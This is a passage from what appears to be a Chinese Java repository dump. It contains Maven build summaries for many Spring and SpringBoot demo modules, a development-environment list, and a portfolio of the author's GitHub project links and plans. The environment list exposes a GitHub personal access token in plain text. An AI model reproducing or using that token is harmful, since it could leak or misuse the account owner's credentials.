<br/>\r\n` [INFO] spring_oauth_server2 1.01 .......................... SUCCESS [  0.663 s]` <br/>\r\n` [INFO] spring_oauth 1.0 ................................... SUCCESS [  0.004 s]` <br/>\r\n` [INFO] spring_oschina 1.0 ................................. SUCCESS [  0.174 s]` <br/>\r\n` [INFO] spring_plupload 1.0 ................................ SUCCESS [  0.188 s]` <br/>\r\n` [INFO] spring_projects 1.0 ................................ SUCCESS [  0.003 s]` <br/>\r\n` [INFO] spring-mvc-session-with-redis Maven Webapp 1.0 ..... SUCCESS [  0.331 s]` <br/>\r\n` [INFO] spring-mvc-with-redis Maven Webapp 1.0 ............. SUCCESS [  0.306 s]` <br/>\r\n` [INFO] web-native-jar Maven Webapp 1.0 .................... SUCCESS [  0.212 s]` <br/>\r\n` [INFO] spring-with-ehcache Maven Webapp 1.0 ............... SUCCESS [  0.304 s]` <br/>\r\n` [INFO] spring-mvc-with-redis-rank Maven Webapp 1.0 ........ SUCCESS [  0.298 s]` <br/>\r\n` [INFO] spring_quartz 1.0 .................................. SUCCESS [  0.478 s]` <br/>\r\n` [INFO] spring_quartz_task 1.0 ............................. SUCCESS [  1.270 s]` <br/>\r\n` [INFO] spring_rabbitmq 1.0 ................................ SUCCESS [  0.360 s]` <br/>\r\n` [INFO] spring_redis 1.0 ................................... SUCCESS [  0.556 s]` <br/>\r\n` [INFO] redis-demo-publisher 1.0 ........................... SUCCESS [  0.533 s]` <br/>\r\n` [INFO] redis-demo-subscriber1 1.0 ......................... SUCCESS [  0.310 s]` <br/>\r\n` [INFO] redis-demo-subscriber2 1.0 ......................... SUCCESS [  0.303 s]` <br/>\r\n` [INFO] spring_redis_queue 1.0 ............................. SUCCESS [  0.003 s]` <br/>\r\n` [INFO] spring_rest_client 1.0 ............................. SUCCESS [  0.237 s]` <br/>\r\n` [INFO] spring_rest_server 1.0 ............................. SUCCESS [  0.326 s]` <br/>\r\n` [INFO] spring_rest 1.0 .................................... SUCCESS [  0.004 s]` <br/>\r\n` [INFO] spring-session-demo.javaconfig Maven Webapp 1.0 .... SUCCESS [  0.343 s]` <br/>\r\n` [INFO] spring-session-demo.xml Maven Webapp 1.0 ........... SUCCESS [  0.223 s]` <br/>\r\n` [INFO] spring_session 1.0 ................................. SUCCESS [  0.004 s]` <br/>\r\n` [INFO] spring_shiro_redis Maven Webapp 1.0 ................ SUCCESS [  0.658 s]` <br/>\r\n` [INFO] spring_solr 1.0 .................................... SUCCESS [  0.282 s]` <br/>\r\n` [INFO] spring_springbatch 1.0 ............................. SUCCESS [  0.967 s]` <br/>\r\n` [INFO] spring_springjdbc 1.0 .............................. SUCCESS [  0.250 s]` <br/>\r\n` [INFO] spring_springmv_bootstrap Maven Webapp 1.0 ......... SUCCESS [  2.355 s]` <br/>\r\n` [INFO] spring_springmvc 1.0 ............................... SUCCESS [  0.863 s]` <br/>\r\n` [INFO] spring_springtest 1.0 .............................. SUCCESS [  0.453 s]` <br/>\r\n` [INFO] spring_ssh 1.0 ..................................... SUCCESS [  0.351 s]` <br/>\r\n` [INFO] spring_ssh2 1.0 .................................... SUCCESS [  0.389 s]` <br/>\r\n` [INFO] spring_ssm_layui 1.0 ............................... SUCCESS [  1.909 s]` <br/>\r\n` [INFO] spring_ssm2 1.0 .................................... SUCCESS [  0.422 s]` <br/>\r\n` [INFO] spring_swagger Maven Webapp 1.0 .................... SUCCESS [  1.483 s]` <br/>\r\n` [INFO] spring_task 1.0 .................................... SUCCESS [  0.236 s]` <br/>\r\n` [INFO] spring_thymeleaf 1.0 ............................... SUCCESS [  0.154 s]` <br/>\r\n` [INFO] spring_transaction 1.0 ............................. SUCCESS [  1.995 s]` <br/>\r\n` [INFO] spring_websocket 1.0 ............................... SUCCESS [  0.796 s]` <br/>\r\n` [INFO] spring_plugin 1.0 .................................. SUCCESS [  0.003 s]` <br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n` [INFO] BUILD SUCCESS` <br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n` [INFO] Total time:  01:04 min` <br/>\r\n` [INFO] Finished at: 2023-06-01T11:25:59+08:00` <br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n\r\n` Process finished with exit code 0` <br/>\r\n\r\n\r\n\r\n\r\n> **SpringBoot系开发框架组件，基于SpringBoot微服务开发组件100+，**\r\n\r\n*模块太多，描述写太麻烦了，直接贴编译清单吧，具体如下（编译内存溢出可调整JVM参数）：*<br/>\r\n`[INFO] ----------------< com.jun.plugin:springboot_zookeeper >-----------------` <br/>\r\n` [INFO] Building springboot_zookeeper 1.0                              [107/107]` <br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n` [INFO] Reactor Summary:` <br/>\r\n` [INFO]` <br/>\r\n` [INFO] springboot_a_test 1.0 .............................. SUCCESS [  3.311 s]` <br/>\r\n` [INFO] springboot_actuator 1.0 ............................ SUCCESS [  0.624 s]` <br/>\r\n` [INFO] springboot_aop 1.0 ................................. SUCCESS [  0.638 s]` <br/>\r\n` [INFO] springboot_async 1.0 ............................... SUCCESS [  1.988 s]` <br/>\r\n` [INFO] springboot_batch 1.0 ............................... SUCCESS [  1.620 s]` <br/>\r\n` [INFO] springboot_cache 1.0 ............................... SUCCESS [  0.974 s]` <br/>\r\n` [INFO] springboot_canal 1.0 ............................... SUCCESS [  3.105 s]` <br/>\r\n` [INFO] jun_springboot_plugin 1.0 .......................... SUCCESS [  0.047 s]` <br/>\r\n` [INFO] springboot_codegen 1.0.0-SNAPSHOT .................. SUCCESS [  3.042 s]` <br/>\r\n` [INFO] springboot_content_negotiation 1.0 ................. SUCCESS [  0.355 s]` <br/>\r\n` [INFO] springboot_cxf 1.0 ................................. SUCCESS [  0.601 s]` <br/>\r\n` [INFO] springboot_data_jpa 1.0 ............................ SUCCESS [  1.028 s]` <br/>\r\n` [INFO] springboot_distributed_seckill 1.0 ................. SUCCESS [  2.698 s]` <br/>\r\n` [INFO] springboot_docker 1.0.0-SNAPSHOT ................... SUCCESS [  0.209 s]` <br/>\r\n` [INFO] springboot_drools 1.0 .............................. SUCCESS [  1.185 s]` <br/>\r\n` [INFO] springboot_dubbo_zookeeper 1.0 ..................... SUCCESS [  0.004 s]` <br/>\r\n` [INFO] common-api 1.0 ..................................... SUCCESS [  0.289 s]` <br/>\r\n` [INFO] server-provider 1.0 ................................ SUCCESS [  0.283 s]` <br/>\r\n` [INFO] server-consumer 1.0 ................................ SUCCESS [  0.284 s]` <br/>\r\n` [INFO] springboot_dynamic_datasource 1.0.0-SNAPSHOT ....... SUCCESS [  2.692 s]` <br/>\r\n` [INFO] springboot_echarts 1.0 ............................. SUCCESS [  2.748 s]` <br/>\r\n` [INFO] springboot_ehcache_cache 1.0 ....................... SUCCESS [  0.591 s]` <br/>\r\n` [INFO] springboot_elastic_job 1.0 ......................... SUCCESS [  0.769 s]` <br/>\r\n` [INFO] springboot_email 1.0 ............................... SUCCESS [  0.332 s]` <br/>\r\n` [INFO] springboot_excel 1.0 ............................... SUCCESS [  3.125 s]` <br/>\r\n` [INFO] springboot_fastdfs 1.0 ............................. SUCCESS [  0.418 s]` <br/>\r\n` [INFO] springboot_file_upload 1.0 ......................... SUCCESS [  0.359 s]` <br/>\r\n` [INFO] springboot_file_uploaderr 1.0 ...................... SUCCESS [  0.993 s]` <br/>\r\n` [INFO] springboot_flowable 1.0 ............................ SUCCESS [  2.156 s]` <br/>\r\n` [INFO] springboot_flyway 1.0 .............................. SUCCESS [  0.318 s]` <br/>\r\n` [INFO] springboot_freemarker 1.0 .......................... SUCCESS [  0.318 s]` <br/>\r\n` [INFO] springboot_graphql_mongodb 1.0 ..................... SUCCESS [  2.263 s]` <br/>\r\n` [INFO] springboot_graylog 1.0 ............................. SUCCESS [  0.194 s]` <br/>\r\n` [INFO] springboot_groovy 1.0 .............................. SUCCESS [  1.795 s]` <br/>\r\n` [INFO] springboot_hibernate 1.0 ........................... SUCCESS [  0.381 s]` <br/>\r\n` [INFO] springboot_hibernate_validator 1.0 ................. SUCCESS [  1.741 s]` <br/>\r\n` [INFO] springboot_https 1.0 ............................... SUCCESS [  0.272 s]` <br/>\r\n` [INFO] springboot_upload_h2db 1.0 ......................... SUCCESS [  1.197 s]` <br/>\r\n` [INFO] springboot_jasypt 1.0 .............................. SUCCESS [  2.108 s]` <br/>\r\n` [INFO] springboot_jackson2 1.0 ............................ SUCCESS [  0.265 s]` <br/>\r\n` [INFO] springboot_jdbctemplate_multidatasource 1.0 ........ SUCCESS [  0.374 s]` <br/>\r\n` [INFO] springboot_jpa_thymeleaf_curd 1.0 .................. SUCCESS [  0.529 s]` <br/>\r\n` [INFO] springboot_jsp 1.0 ................................. SUCCESS [  2.043 s]` <br/>\r\n` [INFO] springboot_junit 1.0 ............................... SUCCESS [  0.358 s]` <br/>\r\n` [INFO] springboot_jwt 1.0 ................................. SUCCESS [  0.735 s]` <br/>\r\n` [INFO] springboot_kafka 1.0 ............................... SUCCESS [  0.549 s]` <br/>\r\n` [INFO] springboot_kisso 1.0 ............................... SUCCESS [  0.385 s]` <br/>\r\n` [INFO] springboot_ldap 1.0 ................................ SUCCESS [  1.751 s]` <br/>\r\n` [INFO] springboot_log4jmonitor 1.0 ........................ SUCCESS [  0.338 s]` <br/>\r\n` [INFO] springboot_logback 1.0 ............................. SUCCESS [  1.237 s]` <br/>\r\n` [INFO] springboot_mapper_pagehelper 1.0 ................... SUCCESS [  0.506 s]` <br/>\r\n` [INFO] springboot_minio 1.0 ............................... SUCCESS [  3.098 s]` <br/>\r\n` [INFO] springboot_mongodb 1.0 ............................. SUCCESS [  2.908 s]` <br/>\r\n` [INFO] springboot_mq_rabbitmq 1.0 ......................... SUCCESS [  0.011 s]` <br/>\r\n` [INFO] springboot_mq_rocketmq 1.0 ......................... SUCCESS [  0.007 s]` <br/>\r\n` [INFO] springboot_multi_datasource_jpa 1.0 ................ SUCCESS [  2.141 s]` <br/>\r\n` [INFO] springboot_multi_datasource_mybatis 1.0 ............ SUCCESS [  1.369 s]` <br/>\r\n` [INFO] springboot_multi_threading 1.0 ..................... SUCCESS [  1.262 s]` <br/>\r\n` [INFO] springboot_multisource 1.0 ......................... SUCCESS [  0.780 s]` <br/>\r\n` [INFO] springboot_mybatis 1.0 ............................. SUCCESS [  0.301 s]` <br/>\r\n` [INFO] springboot_mybatis_jsp 1.0 ......................... SUCCESS [  0.581 s]` <br/>\r\n` [INFO] springboot_mybatisplus 1.0 ......................... SUCCESS [  0.789 s]` <br/>\r\n` [INFO] springboot_netty_websocket 1.0 ..................... SUCCESS [  4.037 s]` <br/>\r\n` [INFO] springboot_oauth2 1.0 .............................. SUCCESS [  0.017 s]` <br/>\r\n` [INFO] authorization-server 1.0 ........................... SUCCESS [  2.646 s]` <br/>\r\n` [INFO] resource-server 1.0 ................................ SUCCESS [  0.734 s]` <br/>\r\n` [INFO] springboot_orm_jdbctemplate 1.0 .................... SUCCESS [  2.003 s]` <br/>\r\n` [INFO] springboot_oss_aliyun 1.0 .......................... SUCCESS [  0.695 s]` <br/>\r\n` [INFO] springboot_oss_qiniu 1.0 ........................... SUCCESS [  0.583 s]` <br/>\r\n` [INFO] springboot_pay 1.0 ................................. SUCCESS [  2.203 s]` <br/>\r\n` [INFO] springboot_quartz 1.0 .............................. SUCCESS [  1.343 s]` <br/>\r\n` [INFO] springboot_ratelimit_guava 1.0 ..................... SUCCESS [  1.538 s]` <br/>\r\n` [INFO] springboot_ratelimit_redis 1.0 ..................... SUCCESS [  2.114 s]` <br/>\r\n` [INFO] springboot_rbac_security 1.0 ....................... SUCCESS [  4.486 s]` <br/>\r\n` [INFO] springboot_rbac_shiro 1.0 .......................... SUCCESS [  1.549 s]` <br/>\r\n` [INFO] springboot_redis 1.0 ............................... SUCCESS [  0.845 s]` <br/>\r\n` [INFO] springboot_redis_cluster 1.0 ....................... SUCCESS [  0.519 s]` <br/>\r\n` [INFO] springboot_redis_sentinel 1.0 ...................... SUCCESS [  0.386 s]` <br/>\r\n` [INFO] springboot_redislock 1.0 ........................... SUCCESS [  0.550 s]` <br/>\r\n` [INFO] springboot_resttemplate 1.0 ........................ SUCCESS [  0.960 s]` <br/>\r\n` [INFO] springboot_schedule 1.0 ............................ SUCCESS [  0.203 s]` <br/>\r\n` [INFO] simple-security-jwt 1.0.0 .......................... SUCCESS [  1.704 s]` <br/>\r\n` [INFO] simple-security-jwt-demo 1.0.0 ..................... SUCCESS [  0.300 s]` <br/>\r\n` [INFO] springboot_security2 1.0 ........................... SUCCESS [  0.005 s]` <br/>\r\n` [INFO] springboot_session 1.0 ............................. SUCCESS [  0.424 s]` <br/>\r\n` [INFO] springboot_shardingsphere-mybatisplus 1.0 .......... SUCCESS [  2.885 s]` <br/>\r\n` [INFO] springboot_shiro 1.0 ............................... SUCCESS [  1.735 s]` <br/>\r\n` [INFO] springboot_snaker 1.0 .............................. SUCCESS [  0.990 s]` <br/>\r\n` [INFO] springboot_justauth 1.0 ............................ SUCCESS [  1.590 s]` <br/>\r\n` [INFO] springboot_socketio 1.0 ............................ SUCCESS [  0.373 s]` <br/>\r\n` [INFO] springboot_starter 1.0 ............................. SUCCESS [  0.270 s]` <br/>\r\n` [INFO] springboot_swagger_beauty 1.0 ...................... SUCCESS [  1.668 s]` <br/>\r\n` [INFO] springboot_task_xxl_job 1.0 ........................ SUCCESS [  2.488 s]` <br/>\r\n` [INFO] springboot_template_freemarker 1.0 ................. SUCCESS [  1.326 s]` <br/>\r\n` [INFO] springboot_template_thymeleaf 1.0 .................. SUCCESS [  1.287 s]` <br/>\r\n` [INFO] springboot_testing 1.0 ............................. SUCCESS [  0.435 s]` <br/>\r\n` [INFO] springboot_thumbnailator 0.0.1-SNAPSHOT ............ SUCCESS [  0.809 s]` <br/>\r\n` [INFO] springboot_thymeleaf 1.0 ........................... SUCCESS [  0.447 s]` <br/>\r\n` [INFO] springboot_transaction 1.0 ......................... SUCCESS [  0.922 s]` <br/>\r\n` [INFO] springboot_upload 1.0 .............................. SUCCESS [  2.881 s]` <br/>\r\n` [INFO] springboot_validation 1.0 .......................... SUCCESS [  1.393 s]` <br/>\r\n` [INFO] springboot_war 1.0 ................................. SUCCESS [  0.204 s]` <br/>\r\n` [INFO] springboot_webflux 1.0 ............................. SUCCESS [  0.879 s]` <br/>\r\n` [INFO] springboot_webservice 0.0.1-SNAPSHOT ............... SUCCESS [  0.741 s]` <br/>\r\n` [INFO] springboot_websocket 1.0 ........................... SUCCESS [  0.487 s]` <br/>\r\n` [INFO] springboot_websocket_socketio 1.0 .................. SUCCESS [  2.226 s]` <br/>\r\n` [INFO] springboot_zookeeper 1.0 ........................... SUCCESS [  2.068 s]` <br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n` [INFO] BUILD SUCCESS` <br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n` [INFO] Total time:  02:09 min` <br/>\r\n` [INFO] Finished at: 2023-06-01T11:29:50+08:00` <br/>\r\n` [INFO] ------------------------------------------------------------------------` <br/>\r\n\r\n` Process finished with exit code 0` <br/>\r\n\r\n\r\n\r\n#### 开发环境\r\n- **JDK 1.8 \r\n- **Maven 3.5 \r\n- **IDEA 2018.2 + or  STS 4.5 +** (*注意：安装lombok插件）\r\n- **TOKEN  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Abc\r\n#### 笔者其他项目   \r\n [俊哥个人技术栈代码库(持续更新)](https://github.com/wujun728)  \r\nTODO PLAN：  \r\n【Step1基础篇】：  \r\n\tjun_java_plugin  Java基础框架-Java开发组件、Spring开发组件、SpringBoot开发组件、SpringCloud开发组件、Maven项目模板  \r\n\tjun_ssh_parent  SSH基础框架-SpringBoot+EasyUI+JSP  \r\n\tjun_ssm_springboot SSM基础框架-SpringBoot+MybatisPlus+Boostrap+Shiro+JWT  \r\n\tjun_code_generator 代码生成器-SpringBoot+Freemarker+API接口  \r\n\tjun_frontend_ui    前端框架，Bootstrap、LayUI、Vue、Vue-element-admin  \r\n\tjun_linux    服务器部署、gitlab部署、Nginx部署、Redis部署、Docker部署、MySQL部署、等等  \r\n \t---TODO审视项目本身，给出待办调整清单，给出下步计划  \r\n【Step2微服务&大数据】：  \r\n\tjun_api_service API接口服务框架，SpringBoot+Rest API  \r\n\tjun_springboot_vue 前后端分离框架，SpringBoot+Vue+JWT  \r\n\tjun_springcloud 微服务框架，SpringCloud Netflix、SpringCloud Alibaba、Dubbo框架  \r\n\tjun_bigdata 大数据框架，支持数据清理、数据推荐、大数据分析、大数据企业看板、大数据报表等  \r\n\r\n【Step3产品篇】：  \r\n\tjun_product_center 产品中心，包含企业官网、企业办公自动化系统、企业资源管理ERP系统等  \r\n\tjun_website   CMS网站系统，基于WordPress的网站系统、支持博客、企业官网、及各种网站模板  \r\n\twujun728.github.io 个人博客  \r\n\r\n【Step4移动产品篇】：  \r\n\tjun_app    移动APP开发平台、支持Uniapp开发独立APP、小程序、企业办公等  \r\n\tjun_weixin   微信开发平台、微信公众号、微信小程序、微信管理后台、微信API接口后台  \r\n\tjun_android Android移动开发框架，APP开发模板、后台管理系统、后台API接口平台  \r\n\r\n"
  },
  {
    "path": "doc/#### wujun个人开发作品集（持续更新）###.md",
    "content": "## [俊哥个人技术栈代码库(持续更新)](https://github.com/wujun728)\n--------------------------------------------------------------------------------------------------------------\n\n#### 产品篇：[产品及解决方案(重点)][jun_product_center,jun_website,wujun728.github.io]\n\n> 企业信息化系统：\n\n【企业TPG门户系统】[仿中软国际TPG门户系统](https://github.com/wujun728/jun_product/jun_portal/)<br/>\n【企业财经服务系统】[产品功能说明](https://github.com/wujun728/jun_product/tree/master/jun_finance)<br/>\n【企业HR服务系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_hr)<br/>\n【企业项目管理系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_project)<br/>\n【企业OA系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_oa)<br/>\n【企业CRM系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_crm)<br/>\n【企业ERP系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_erp)<br/>\n【企业信息管理系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_mis)<br/>\n【Blog管理系统】[产品功能说明](https://github.com/wujun728/jun_product/jun_blog)<br/>\n【俊哥的个人简历】[产品功能说明](https://github.com/wujun728/jun_product/jun_resume)<br/>\n【企业官网门户】[产品功能说明,企业网站产品,网站开发](https://github.com/wujun728/jun_website/jun_official_website)<br/>\n【企业CMS系统】[产品功能说明](https://github.com/wujun728/jun_website/jun_cms)<br/>\n【WordPress】[基于WordPress的CMS管理系统](https://github.com/wujun728/jun_website/jun_wordpress)<br/>\n\n#### 移动篇：产品及解决方案(重点) [jun_android,jun_app,jun_weixin]\n\n> APP开发框架 jun_app, APP开发，Android开发，Vue+uniapp+Nodejs+Bigdata：\n\n【Android程序开发】[产品功能说明](https://github.com/wujun728/jun_android)<br/>\n【H5混合App程序开发】[产品功能说明](https://github.com/wujun728/jun_app)<br/>\n\n> 微信开发框架, 微信开发 [jun_weixin]\n\n【微信小程序】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_miniprogram)<br/>\n【微信小程序管理系统】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_manager)<br/>\n【微信公众号】[产品功能说明](https://github.com/wujun728/jun_weixin//weixin_product)<br/>\n【微信公众号管理系统】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_manager)<br/>\n【微信工具系统-爬虫-代码生成器】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_crawler)<br/>\n【微信推送更新订阅管理系统】[产品功能说明](https://github.com/wujun728/jun_weixin/weixin_push)<br/>\n\n--------------------------------------------------------------------------------------------------------------\n#### 大数据篇：大数据场景,大数据开发，Hadoop、Spark、Strom开发 [jun_bigdata,jun_linux]\n\n【Hadoop大数据】[Spring连接Hadoop实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-mongoDB)<br/>\n【Spark大数据】[Spring连接Spark实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-mongoDB)<br/>\n【MongoDB数据库】[Spring连接mongoDB数据库实现增删改查](https://github.com/wujun728/jun_bigdata/Spring-mongoDB)<br/>\n【Oracle数据库】[实现Oracle数据库的CRUD](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【MySQL数据库】[实现Mysql数据库的主从复制、读写分离、分表分库、负载均衡和高可用](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【H2数据库】[Spring连接H2数据库实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【SQLite数据库】[Spring连接SQLite实现CRUD](https://github.com/wujun728/jun_bigdata/Spring-redis)<br/>\n【Neo4j图数据库】[Spring连接图存数据库Neo4j实现增删改查](https://github.com/wujun728/jun_bigdata/Spring-neo4j)<br/>\n【ETL数据转换Kettle】[使用ETL工具Kettle的实例](https://github.com/wujun728/jun_bigdata/Kettle-demo)<br/>\n【Zeppelin数据分析】[使用数据仓库进行OLAP数据分析（Mysql+Kettle+Zeppelin）](https://github.com/wujun728/jun_bigdata)<br/>\n\n--------------------------------------------------------------------------------------------------------------\n#### 微服务篇：基于Spring系微服务[jun_springcloud,jun_springboot]\n\n【微服务快速开发平台SpringCoud】[产品功能说明](https://github.com/wujun728/jun_cloud)<br/>\n【微服务快速开发平台SpringBoot】[产品功能说明](https://github.com/wujun728/jun_boot)<br/>\n【SpringBoot微服务】[基于SpringBoot实现各种服务应用](https://github.com/wujun728/jun_cloud)<br/>\n【SpringCloud微服务Netflex】[基于SpringCloud2.1的微服务开发脚手架，整合了oauth2、nacos、gateway等](https://github.com/zhoutaoo/SpringCloud)<br/>\n【SpringCloud微服务2020】[基于SpringCloud2020最新版构建微服务框架](https://github.com/wujun728/jun_cloud)<br/>\n【SpringCloudAlibaba微服务】[基于SpringCloudAlibaba提供微服务开发的一站式解决方案](https://github.com/wujun728/jun_cloud)<br/>\n【ApacheDubbo微服务】[基于Dubbo实现高性能、轻量级的Java微服务框架](https://github.com/wujun728/jun_cloud)<br/>\n【分布式session】[Spring框架的session模块实现集中式session管理 ](https://github.com/wujun728/jun_cloud)<br/>\n【分布式文件】[使用FastDFS搭建分布式文件系统（高可用、负载均衡）](https://github.com/wujun728/jun_cloud/Spring-fastdfs)<br/>\n【分布式事务】[基于可靠消息最终一致性实现分布式事务（activeMQ），使用TCC框架实现分布式事务]<br/>\n【高并发事务】[高并发，数据库锁机制和事务隔离级别的实现](https://github.com/wujun728/jun_cloud)<br/>\n【分布式锁】[高并发：使用redis实现分布式锁，使用zookeeper实现分布式锁](https://github.com/wujun728/jun_cloud)<br/>\n【线程池&异步现场】[高并发：Java多线程编程实例 ](https://github.com/wujun728/jun_cloud)<br/>\n【高性能NIO】[高并发：使用netty实现高性能NIO通信]<br/>\n【dubbo RPC服务】[Spring boot整合Apache dubbo v2.7实现分布式服务治理（SOA架构）]<br/>\n【Spring Cloud微服务】[使用Spring Cloud实现微服务架构（MSA架构）]<br/>\n【Redis&Redis Cluster】[基于Redis集群实现分布式缓存](https://github.com/wujun728/jun_cloud/Spring-redis)<br/>\n【分库分表Mycat】[实现Mysql数据库的主从复制、读写分离、分表分库、负载均衡和高可用](https://github.com/wujun728/jun_cloud/Spring-redis)<br/>\n\n> Linux环境部署&架构&分布式&高并发，Linux环境部署、各种中间件部署 [jun_linux]\n\n【Gitlib&SVN服务&搭建】[Git指南和分支管理策略\n\n吴俊:\n【Gitlib&SVN服务&搭建】[Git指南和分支管理策略](https://github.com/wujun728/jun_linux)<br/>\n【Nginx集群】[搭建高可用nginx集群和Tomcat负载均衡](https://github.com/wujun728/jun_linux)<br/>\n【zookeeper注册中心】[产品功能说明](https://github.com/wujun728/jun_linux)<br/>\n【jenkins自动化部署】[使用jenkins+git+maven搭建持续集成环境自动化部署分布式服务]<br/>\n【Docker微服务自动化】[使用docker+jenkins+gitlab+spring cloud实现微服务的编排、持续集成和动态扩容]<br/>\n【kubernetes服务编排】[基于Kubernetes实现服务编排、自动部署，扩展和管理容器化]<br/>\n\n--------------------------------------------------------------------------------------------------------------\n\n#### 基础篇：企业级开发组件(开发组件、代码生成、前端组件) [jun_java_plugin,jun_ssm,jun_frontend_ui]\n\n> Java基础系开发组件jun_plugin 常用开发组件，调整，新增并优化项目组件：\n\n【Java基础】[文件上传下载，邮件、Echart报表、二维码，开发工具](https://github.com/wujun728/jun_plugin/jun_redis)<br/>\n【设计模式】[23种设计模式及常见数据结构与算法](https://github.com/wujun728/jun_plugin/SSM)<br/>\n\n> Spring系开发框架组件 Spring常用开发组件，万能粘合剂，企业级J2EE实际标准平台\n\n【SSH框架】[Struts2,Hibernate,Spring三大框架](https://github.com/wujun728/jun_spring_plugin/S2SH)<br/>\n【SSM框架】 [SpringMVC,Mybatis,Spring三大框架](https://github.com/wujun728/jun_spring_plugin/SSM)<br/>\n【SSH框架2】 [Spring,SpringMVC和Hibernate的整合实现增删改查](https://github.com/wujun728/jun_spring_plugin/SSH)<br/>\n【SSM微服务】[使用Spring boot整合mybatis,rabbitmq,redis,mongodb实现增删改查](https://github.com/wujun728/jun_spring_plugin)<br/>\n【Activiti工作流】 [Spring平台整合activiti工作流引擎实现OA开发](https://github.com/wujun728/jun_spring_plugin/Spring-activiti)<br/>\n【WebService服务】 [Spring发布与调用REST风格的WebService](https://github.com/wujun728/jun_spring_plugin/Spring-REST)<br/>\n【Shiro权限控制】 [Spring整合Apache Shiro框架，实现用户管理和权限控制](https://github.com/wujun728/jun_spring_plugin/Spring-shiro)<br/>\n【Spring security权限控制】 [使用Spring security做权限控制](https://github.com/wujun728/jun_spring_plugin/spring-security-demo)<br/>\n【Quartz定时JOB】[SpringTask 使用Spring security做权限控制](https://github.com/wujun728/jun_spring_plugin/spring-security-demo)<br/>\n【Lucence搜索】[SpringTask 使用Spring security做权限控制](https://github.com/wujun728/jun_spring_plugin/spring-security-demo)<br/>\n【ActiveMQ消息队列】[Spring平台整合消息队列ActiveMQ实现发布订阅、生产者消费者模型（JMS）](https://github.com/wujun728/jun_spring_plugin/Spring-activeMQ)<br/>\n【RabbitMQ消息队列】[Spring整合消息队列RabbitMQ实现四种消息模式（AMQP）](https://github.com/wujun728/jun_spring_plugin/Spring-rabbitMQ)<br/>\n【Websocket协议】[Spring整合websocket实现即时通讯](https://github.com/wujun728/jun_spring_plugin/Spring-websocket)<br/>\n【Elastic search全文检索】[Spring整合Elastic search实现全文检索](https://github.com/wujun728/jun_spring_plugin/Spring-elastic_search)<br/>\n【单点登录】[Spring整合CAS框架&JWT实现单点登录](https://github.com/wujun728/jun_spring_plugin/Spring-cas-sso)<br/>\n\nJava基础系开发组件，代码生成器&开发模板，基于freemarker及MetaData&SQL解析的代码生成器\n【Java代码生成模块】[数据库表代码生成、页面代码生成](https://github.com/wujun728/jun_code_generator/jun_code_helper)<br/>\n【Mybatis代码生成模块】[Mybatis代码生成](https://github.com/wujun728/jun_code_generator)<br/>\n【MybatisPlus代码生成模块】[Mybatis-Plus代码生成](https://github.com/wujun728/jun_code_generator)<br/>\n【Maven项目模板】常用项目开发模板，新增SSH、SSM、Boot、Cloud、Android、APP模板\n\n> 前端系开发框架[jun_frontend_ui]：\n\n【JQueryEasyUI】[基于JQuery的前端UI组件快速开发框架](https://github.com/wujun728/jun_frontend)<br/>\n【LayUI框架】[经典模块化前端UI 框架](https://github.com/wujun728/jun_frontend/)<br/>\n【Bootstrap框架】[前端响应式CSS/HTML框架](https://github.com/wujun728/jun_frontend)<br/>\n【Vue框架】[前端、构建用户界面的渐进式JavaScript框架](https://github.com/wujun728/jun_frontend)<br/>\n\n\n \n\n\n> > jun_code_generator 代码生成器\n> > 为ssh项目写个代码生成器\n> > mvn_template 开发模板，调整，新增项目模板；\n> > 新增SSH、SSM、SpringBoot、SpringCloud、Android、APP   \n> > 模板,新增+jun_ssh+ssm+springboot+mybatis+JPA\n\n1、精简代码生成器\n2、拆分成多个模块\n3、切换freemarker\n4、使用公共的数据源\n5、维护多套模板-ssh\n\n> > jun_plugin  \n> > jun_java_plugin 常用开发组件，调整，新增并优化项目组件\n> > https://github.com/whirlys/Elastic-In-Practice/tree/master/guava\n> > fileServer-master\\\n> > fileServer-master (1)\\\n> > haima-front-dist-master\\\n> > jun_spring Spring开发组件，调整，新增Spring系常用plugin\n> > jun_springboot SpringBoot开发组件，调整，SpringBoot系组件\n\n> > jun_ssh_parent\n> > Jun_ssh_eaayui\n> > Jun_ssh_springboot\n> > jun_ssm_parent\n> > 整理ssm项目，写模板，模板还没梳理完\n> > 美化ssh项目\n> > https://github.com/doujinxian/renren-security\n> > jun_springboot\n> > jun_frontend_ui\n> > jun_springcloud\n> > SpringCloud开发组件，调整，SpringCloud系组件\n> > Vue+uniapp+Nodejs+WordPress+PHP+Android+Bigdata 。\n> > https://github.com/wujun728/vue-login-java\n> > https://blog.csdn.net/xiaojinlai123/article/details/90694372\n> > https://blog.csdn.net/sxdtzhaoxinguo/article/details/77965226\n> > jun_linux\n> > Linux开发组件，调整\n> > jun_website\n> > https://github.com/zhangdaiscott/luban-h5\n> > https://github.com/zhangdaiscott/h5huodong\n> > jun_bigdata\n\n吴俊:\njun_website\nhttps://github.com/zhangdaiscott/luban-h5\nhttps://github.com/zhangdaiscott/h5huodong\njun_bigdata\njun_product_center\n常用项目模板及常用项目，调整，常用项目的集合，私有的\n财务系统\nOA办公系统\nhttps://github.com/hjp1011/uniapp-oa\nhttp://www.yiiframe.com/\n后端源码：官网下载\nhttps://github.com/misstt123/oasys\nhttps://github.com/yunchaoyun/active4j-oa\nhttps://github.com/yunchaoyun/active4j-jsp        